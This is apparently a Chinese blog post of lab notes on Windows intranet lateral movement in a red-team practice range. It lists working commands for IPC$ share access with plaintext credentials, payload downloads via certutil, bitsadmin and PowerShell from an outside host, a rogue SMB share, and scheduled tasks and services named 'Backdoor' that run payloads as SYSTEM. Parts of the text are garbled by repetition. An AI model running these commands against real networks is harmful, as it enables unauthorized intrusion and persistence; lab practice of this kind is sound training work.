11月4日(内网横向移动(一))

以下环境采用的是红日靶场一;

横向移动中的文件传输

通过网络共享

执行以下命令:

plain 复制代码
net share

获得 Windows系统默认开启的网络共享,其中C 为 C 盘共享, A D M I N 为C盘共享,ADMIN 为C盘共享,ADMIN为系统目录共享,还有一个是IPC$共享。IPC(InternetProcess Connection是共享"命名管道"的资源,为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

利用当前所控主机与内网中的其他远程主机建立的网络共享连接,测试人员可以访问远程主机上的资源,如直接查看远程主机目录、在两台主机之间复制文件、读取远程主机上的文件等。而实战中往往会建立IPCS连接。因为通过IPC$连接,不仅可以进行所有文件共享操作,还可以实现其他远程管理操作,如列出远程主机进程、在远程主机上创建计划任务或系统服务等,这在进行内网横向移动中起着至关重要的作用.

建立 IPC$连接需要具备以下两个条件:① 远程主机开启了 IPC 连接;② 远程主机的 139 端口和 445 端口开放。

执行以下命令,与远程主机建立IPC连接:

plain 复制代码
net use \\192.168.52.138\IPC$ "Admine123" /user:"Administrator"

此时,执行以下命令,可以成功列出远程主机的C盘共享目录,

plain 复制代码
dir \\192.168.52.138\C$

使用"copy"命令,可以通过共享连接向远程主机上复制文件,也可以将远程主机上的文件复制到本地,但需要注意当前用户对远程目录的权限。例如,将一个二进制程序复制到远程主机的 C盘目录中。实战中可以将攻击载荷上传到远程主机,然后通过其他远程执行的方法来运行,如创建远程计划任务或服务等。

plain 复制代码
copy .\payload.exe \\192.168.52.138\C$

建立其他共享连接的命令与 IPC 连接的命令相同,需要指定远程主机的 I P 或主机名、盘符、用户名和密码。例如,连接远程主机的 C 连接的命令相同,需要指定远程主机的 IP 或主机名、盘符、用户名和密码。例如,连接远程主机的C 连接的命令相同,需要指定远程主机的IP或主机名、盘符、用户名和密码。例如,连接远程主机的C共享:

plain 复制代码
net use 192.168.52.138\C$ "Admin@123" /user:"Administrator"

搭建SMB服务器

SMB(Server Message Block,服务器消息块),又称 CIFS(Common Internet File System,网络文件共享系统),由微软开发,基于应用层网络传输协议,主要功能是使网络上的计算机能够共享计算机文件、打印机、串行端口和通新等资源。SMB 消息一般使用 NetBIOS 协议或 TCP 发送,分别使用端口 139 或 445,目前倾向于使用 445 端口。

实战中可以在测试人员自己的服务器或当前所控内网主机上搭建 SMB 服务器,将需要横向传输的文件如攻击载荷等放入 SMB 服务器的共享目录,并指定UNC 路径,让横向移动的目标主机远程加载 SMB 共享的文件。注意,需使用SMB 匿名共享,并且搭建的 SMB 服务器能够被横向移动的目标所访问到。

执行以下命令,即可在搭建一个名为 evilsmb;共享目录指向 /root/share 的 SMB名共享:

plain 复制代码
mkdir /root/share
python smbserver.py evilsmb /root/share -smb2support

对于 Windows 系统,如果已经获取管理员权限,可以手动配置 SMB 匿名共享,也可以通过 Invoke-BuildAnonymousSMBServer在本地快速启动一个匿名共享。

通过Windows自带工具

Certutil

Certutil 是 Windows 自带的命令行工具,用于管理 Windows 证书并作为证书服务的一部分安装。Certutil提供了从网络中下载文件的功能,测试人员可以在远程主机上执行Certutil 命令,控制其下载预先部署在可控服务器上的恶意文件,如攻击载荷等。

执行以下命令:

plain 复制代码
certutil -urlcache -split -f http://125.217.52.215:80/payload.exe C:\reverse_tcp.exe

通过 Certutil下载shell.exe,并将其保存到 C:\reverse tcp.exe。

BITSAdmin

Bitsadmin 是一个 Windows 命令行工具,可以用于创建、下载或上载作业,监视其进度。Windows7及以后版本的系统自带Bitsadmin工具。执行以下命令:

plain 复制代码
bitsadmin /transfer test http://IP:Port/shell.exe C:\reverse_tcp.exe

创建一个名为 test 的 Bitsadmin 任务,下载 shell.exe 到本地,并将其保存到 C:\reverse_tcp.exe。

PowerShell

参考 PowerShell 远程加载执行的思路,可以通过创建 WebClient 对象来实现文件下载。

执行以下命令:

plain 复制代码
(New-object Net.Webclient).DownloadFile('http://IP:Port/shell.exe','C:\reverse_tcp.exe')

创建计划任务

常规利用流程

测试人员可以通过已有的 IPC 连接,在远程主机上创建计划任务,让目标主机在规定的时间点或周期内执行特定操作。在拥有对方管理员凭据的条件下,可以通过计划任务实现横向移动。

① 利用已建立的共享连接向远程主机(192.168.52.138)上传攻击载荷。

② 利用已建立的 IPC 连接或指定用户凭据的方式在远程主机上创建计划任务。执行以下命令:

plain 复制代码
schtasks /Create /S 192.168.52.138 /TN Backdoor /SC minute /MO 1 /TR C:\reverse_tcp.exe /RU System /F
# /S,指定要连接到的系统;	/TN,指定要创建的计划任务的名称;	/SC,指定计划任务执行频率
# /MO,指定计划任务执行周期;	/TR,指定计划任务运行的程序路径;	/RU,指定计划任务运行的用户权限
# /F,如果指定的任务已经存在,则强制创建

在远程主机上创建一个计划任务,每分钟执行一次上传的攻击载荷.

plain 复制代码
schtasks /RUN /S 192.168.52.138 /I /TN Backdoor

立即启动该计划任务即可获取远程主机(192.168.52.138)的权限,也可以等待计划任务自行启动。

由于内网主机(192.168.52.138)无法访问外网,这里我们采用iox的流量端口转发;

不懂iox可以看一下前面的文章。

执行以下命令,将创建的计划任务删除;

plain 复制代码
schtasks /Delete /S 192.168.52.138 /TN Backdoor /F

也可以通过创建计划任务在远程主机上执行系统命令,并将执行结果写入文件,然后通过 type 命令进行远程读取。

plain 复制代码
schtasks /Create /S 192.168.52.138 /TN Backdoor /SC minute /MO 1 /TR "C:\Windows\System32\cmd.exe /c whoami > C:\result.txt" /RU System /F
plain 复制代码
type \\192.168.52.138\C$\result.txt	#读取执行结果

UNC路径加载执行

Windows 系统中使用 UNC 路径来访问网络共享资源,格式如下:

plain 复制代码
\\servername\sharename\directory\filename

其中,servername是服务器主机名,sharename是网络共享的名称,directory和filename分别为该共享下的目录和文件。

在远程主机上攻击载荷时,可以直接使用UNC 路径代替常规的本地路径,让远程主机直接在测试人员搭建的SMB 共享中加载攻击载荷并执行。这样可以省去手动上传攻击载荷的步骤。

执行以下命令,在远程主机(192.168.52.138)创建计划任务,使用UNC路径加载位于192.168.5.129共享中的攻击载荷并执行

plain 复制代码
schtasks /Create /S 192.168.52.138 /TN Backdoor /SC minute /MO 1 /TR "\\192.168.5.129\evilsmb\payload.exe" /RU System /F

启动后,远程主机成功上线。由于内网主机无法上外网,所以无法本地实现,但是边缘服务器可以。

利用系统服务

创建远程服务

除了创建计划任务,测试人员还可以通过在远程主机上创建系统服务的方式,在远程主机上运行指定的程序或命令。该方式需要拥有两端主机的管理员权限和IPC$连接,具体操作如下。

1、利用已建立的共享连接向远程主机(192.168.52.138)上传攻击载荷。

2、利用已建立的IPC连接在远程主机上创建系统服务。执行以下命令

plain 复制代码
sc \\192.168.52.138 create Backdoor binpath= "cmd.exe /k C:\payload.exe"
# binpath,指定服务启动时运行的二进制文件,注意"="后需要有一个空格

在远程主机上创建一个名为 Backdoor 的系统服务,服务启动时将执行上传的攻击载荷.

3、执行以下命令;

plain 复制代码
sc \\192.168.52.138 start Backdoor

立即启动该服务,此时虽然提示错误,但是已经成功获取了远程主机的权限.

4、攻击成功后,将创建的服务删除。

plain 复制代码
sc \\192.168.52.138 delete Backdoor
相关推荐
IT199523 分钟前
Qt笔记-Qt Creator开发环境搭建
开发语言·笔记·qt
囚生CY2 小时前
【学习笔记】蒙特卡洛与强化学习
笔记·python·学习
HSunR2 小时前
概率论 期末 笔记
笔记·概率论
红色的山茶花2 小时前
YOLOv9-0.1部分代码阅读笔记-loss_tal.py
笔记·深度学习·yolo
车轮滚滚__3 小时前
uniapp对接unipush 1.0 ios/android
笔记
云边有个稻草人6 小时前
【优选算法】—复写零(双指针算法)
笔记·算法·双指针算法
冷眼看人间恩怨14 小时前
【Qt笔记】QDockWidget控件详解
c++·笔记·qt·qdockwidget
Hejjon20 小时前
SpringBoot 整合 SQLite 数据库
笔记
西洼工作室1 天前
【java 正则表达式 笔记】
java·笔记·正则表达式
初学者7.1 天前
Webpack学习笔记(2)
笔记·学习·webpack